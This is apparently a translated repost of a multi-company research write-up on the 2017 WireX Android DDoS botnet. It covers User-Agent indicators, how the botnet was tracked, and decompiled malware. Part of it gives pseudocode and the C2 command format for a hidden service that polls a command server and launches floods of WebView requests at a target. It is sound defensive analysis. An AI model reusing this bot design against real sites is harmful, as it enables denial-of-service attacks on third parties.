📜 ⬆️ ⬇️

How to stop DDoS-attack + WireX Botnet code analysis



On August 17, 2017, several content providers and content delivery networks (CDN) were subjected to large-scale attacks by the botnet, called WireX. The WireX botnet includes mostly Android devices and is designed to create DDoS traffic. A few days ago, Google deleted hundreds of infected applications that were available for download on the Play Store, and launched the process of removing them from all devices.

Researchers from Akamai, Cloudflare, Flashpoint, Google, Oracle Dyn, RiskIQ, Team Cymru, and other organizations collaborated, working together to combat this botnet. Evidence indicates that the botnet may have been active already on August 2, but it was the August 17 attack that attracted attention. This article includes aggregate knowledge and describes the efforts of researchers working to neutralize a botnet.
')

Attack Details


The first traces of the WireX botnet were left on August 2 in the form of attacks, which at that time went unnoticed. They were discovered when researchers began searching for 26-character User-Agent records in journals. The initial attacks were minimal and it is likely that the malware was in development or in the early stages of deployment. Longer attacks have been identified since August 15, with at least 70,000 IP addresses participating in some (Figure 1).

WireX is an application level DDoS attack. The traffic generated by the attack nodes is basically HTTP GET requests, although some application variations seem to be able to issue POST requests. In other words, a botnet creates traffic that resembles real requests from ordinary HTTP clients and web browsers.


Figure 1: Estimated botnet growth based on the number of unique IP addresses observed during attacks per hour.

Most of the traffic from this botnet was different using HTTP user-agent requests in the form of a random sequence of lowercase letters of the English alphabet.

Some of the User-Agent entries are:

User-Agent: jigpuzbcomkenhvladtwysqfxr
User-Agent: yudjmikcvzoqwsbflghtxpanre
User-Agent: mckvhaflwzbderiysoguxnqtpj
User-Agent: deogjvtynmcxzwfsbahirukqpl
User-Agent: fdmjczoeyarnuqkbgtlivsxhwp
User-Agent: yczfxlrenuqtwmavhojpigkdsb
User-Agent: dnlseufokcgvmajqzpbtrwyxih


Malware variants that emit User-Agent entries of various lengths with an extended character set were also discovered. Here are some examples:

User-Agent: xlw2ibhqg0i
User-Agent: bg5pdrxhka2sjr1g
User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q
User-Agent: fge26sd5e1vnyp3bdmc6ie0
User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3)
Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7)
Gecko/20071018 BonEcho/2.0.0.7
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us)
AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2


Tracking attack nodes


An analysis of data on a DDoS attack on August 17 showed that devices from more than 100 countries of the world had participated, which is an uncharacteristic feature for botnets. The distribution of attacking IP addresses, along with a special User-Agent record, led the researchers to speculate that other organizations may have also noticed or become victims of similar attacks. Experts who started the investigation turned to colleagues from other organizations to test this hypothesis. Together, the investigation began to develop rapidly. Log analysis revealed a link between attacking IP addresses and malicious Android applications.

The first and subsequent attacks included requests from the application with the same signature. This brought the researchers to the "twdlphqg_v1.3.5_apkpure.com.apk" Android application, which they began to study in order to understand how the botnet works and identify related applications. The search revealed several more applications from the same authors or authors with a similar name and comparable description (Figure 2). When new applications were found, work began on analyzing their functionality.


Figure 2: Screenshot of search results with similar malware.

There were several cases when these applications were found in well-known mobile app stores. In response to notification of malicious applications, Google provided the following comment:

We identified approximately 300 problem-related applications and blocked them in the Play Store. We are in the process of removing them from all infected devices. The findings of the researchers in conjunction with our own analysis allowed us to better protect Android users.

Malware Review


Many of the applications were in the categories of media / video players, ringtones or utilities, such as file managers and application stores with additional features hidden to end users. When launching applications, malicious components started their work by requesting a command from the command server, which most often was g.axclick.store, to initiate and direct the attack.

Applications with functions to participate in DDoS attacks were benign for users who installed them. These applications also used Android’s service architecture features, which allow applications to use system resources, even while in the background. Thus, attacks could be launched when the application is not in use. Currently, antiviruses recognize this malicious program as the Android Clicker Trojan, but it has nothing to do with click fraud. Probably, this malware was associated with similar fraud, but was repurposed for DDoS attacks.

Malware Analysis


When checking various decompiled applications, several subdomains of the same root domain (axclick.store) were discovered, which were supposed to be part of the command and control (C2) infrastructure for the botnet.

 $ grep http * -R com/twdlphqg/app/ExplorationActivity.smali: const-string v3, "http://u[.]axclick[.]store/" com/twdlphqg/app/services/Ryiidrxcjmfb.smali: const-string v1, "http://g[.]axclick[.]store/" 

The first domain (u [.] Axclick [.] Store) did not return the content, but transmitted an empty answer 200 OK and, apparently, was used to test the connection to the Internet.

The second domain (g [.] Axclick [.] Store) was associated with DDoS components of malware. The application component that refers to this domain was responsible for creating an Android service equipped with two instances of WebView. Android allows you to create your own window for browsing the web or even create your own clone of the browser using the WebView element. The first instance of WebView served as a beacon, polling the C2 server for attack directives. The second served as a link for cloning WebView for the purpose of attack. This component also contains logic to configure these attacking instances.

Component overview


Below, using pseudo-code based on the knowledge gained from the decompiled APKs, parts of the components are considered separately.

ServiceRunner

The purpose of the component is to continue the application in the background. Execution will be terminated only if the application is stopped by the user of the mobile device or if the device is rebooted.

Pseudocode Service Runner
 Class ServiceRunner extends Object { Public function run() { DDoS_Service->poll_c2(); } } 

C2 parser

AttackCommandParser is launched when C2 WebView detects that page loading has occurred. The parser loads the contents of the page and extracts the body as a command to attack. Based on the observed samples, the payload from C2 is as follows:

 <html> <title> https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/ </title> </html> 

Example of team to attack

The value extracted from the title tag is then checked with String-> contains () to ensure that it contains the snewxwri separator. If it is found, the content is divided. The result is then used as parameters that must be passed to the DDoS_Service-> attack () method.

Pseudocode for parsing answers
 Class AttackCommandParser extends WebViewClient { Public function onPageFinished(C2_WebView,C2_url) { String pageTitle = C2_WebView->getTitle(); if (pageTitle->contains(“snewxwri”) == true) { pageTitle = pageTitle->trim(); Array commandParts = pageTitle.split(“snewxwri”); String target = commandParts[0]; String userAgent = commandParts[1]; String referer = commandParts[2]; DDoS_Service->attack(target, userAgent, referer); } } } 


DDoS service

The main function of the DDoS_Service component is to create a WebView to load any specified URL selected in C2 WebView into the WebView container itself, rather than launching a browser. After this, the attack is launched.

Pseudocode DDoS Service
 Class DDoS_Service extends Object { Public function onCreate() { Handler OS_Handler = new Handler(); Object Runner = new ServiceRunner(); OS_Handler->postDelayed(Runner,2); } Public function poll_c2() { WebViewClient C2_Parser = new AttackCommandParser(); WebView C2_WebView = new WebView(); WebViewSettings C2_WebView_Settings = C2_WebView->getSettings(); C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE); C2_WebView->clearCache(true); C2_WebView->clearHistory(); C2_WebView->setWebViewClient(C2_Parser); C2_WebView->loadUrl(“http://g[.]axclick[.]store”); } Public function attack(String target, String userAgent, String referer) { HashMap WebViewHeaders = new HashMap(); WebViewHeaders->put(“Referer”,referer); WebViewHeaders->put(“X-Requested-With”,””); WebView[] AttackerViews = new WebView[100]; for (int i=0; i<AttackerViews.length; i++) { AttackerViews[i] = new WebView(); AttackerViews[i]->clearHistory(); AttackerViews[i]->clearFormData(); AttackerViews[i]->clearCache(true); WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings(); AttackWebViewSettings->setJavaScriptEnabled(true); AttackWebViewSettings->setUserAgentString(userAgent); AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE); this->deleteDatabase(“webview.db”); this->deleteDatabase(“webviewCache.db”); AttackerViews[i]->loadUrl(target,WebViewHeaders); } } } 

The onCreate () method creates a new instance of android / os / Handler and ServiceRunner. The poll_c2 () method is responsible for constantly reloading the WebView using the C2 URL. Before polling C2 domains, the service clears and disables the cache, and also clears the history of WebView instances. These steps are performed to ensure that the client always receives relevant information and does not process requests using the cache. The attack () method is responsible for creating the actual attack traffic.

User experience when working with malware


Although many of the infected applications have already been deleted from the Google Play Store, mirrors remained on the network, from which it is possible to download APK files. We downloaded twdlphqg (one of the attacking apps) on the physical Samsung Galaxy S4 with Android Lollipop and security patches of 2015.



This application, like the others we tested, had innocuous names, such as “Device Analysis”, “Data Storage”, “Package Manager” and so on.

When the application starts, it looks like a simple application for ringtones. Only three ringing tones are provided. It can play and install ringtones and has no other functions.



This application launches additional processes in the background, which continue to work and can participate in a DDoS attack, even when the phone screen is locked. When we put the phone on the charger in sleep mode, the processes responsible for the DDoS attack did not stop.



It is noteworthy that at the moment it is impossible to install these applications, because Google’s PlayProtect function blocks them. All applications that have been identified have become part of a campaign to remove problematic and already installed applications from devices. Now, to run this malware, you need to disable PlayProtect in the settings.



Conclusion


These discoveries were possible only through collaboration between various IT organizations. Each had its own piece of the puzzle: without the contribution of each company, this botnet would probably remain a mystery for a long time.

The best thing organizations can do in a DDoS attack is to share detailed metrics related to the attack. With this information, those who specialize in DDoS protection can learn much more and minimize negative consequences.

Useful information may include captured packets, lists of attacking IP addresses, ransom records, request headers, and any suspicious patterns. Such data should not contain legitimate client traffic to minimize confidentiality problems, and also because such traffic can slow down the analysis. And most importantly, to give permission for the transfer of this data to trusted contacts in the wider IT-security community that may have the necessary experience.

Thanks to the researchers from Akamai, Cloudflare, Flashpoint, Google, RiskIQ, Team Cymru, FBI and other organizations that did not make the list.
Tim April: Senior Security Architect @ Akamai
Chris Baker: Principal of Threat Intelligence @ Oracle Dyn
Matt carothers
Jaime Cochran: Security Analyst @ Cloudflare
Marek Majkowski: Enthusiastic Geek @ Cloudflare
Jared Mauch: Internetworking Research and Architecture @ Akamai
Allison Nixon: Director of Security Research @ Flashpoint
Justin Paine: Head Of Trust & Safety @ Cloudflare
Chad Seaman: Sen. Security Intelligence Response Team Engineer @ Akamai SIRT
Darren Spruell: Threat Researcher @ RiskIQ
Zach Wikholm: Research Developer @ Flashpoint
other.

Source: https://habr.com/ru/post/336614/


All Articles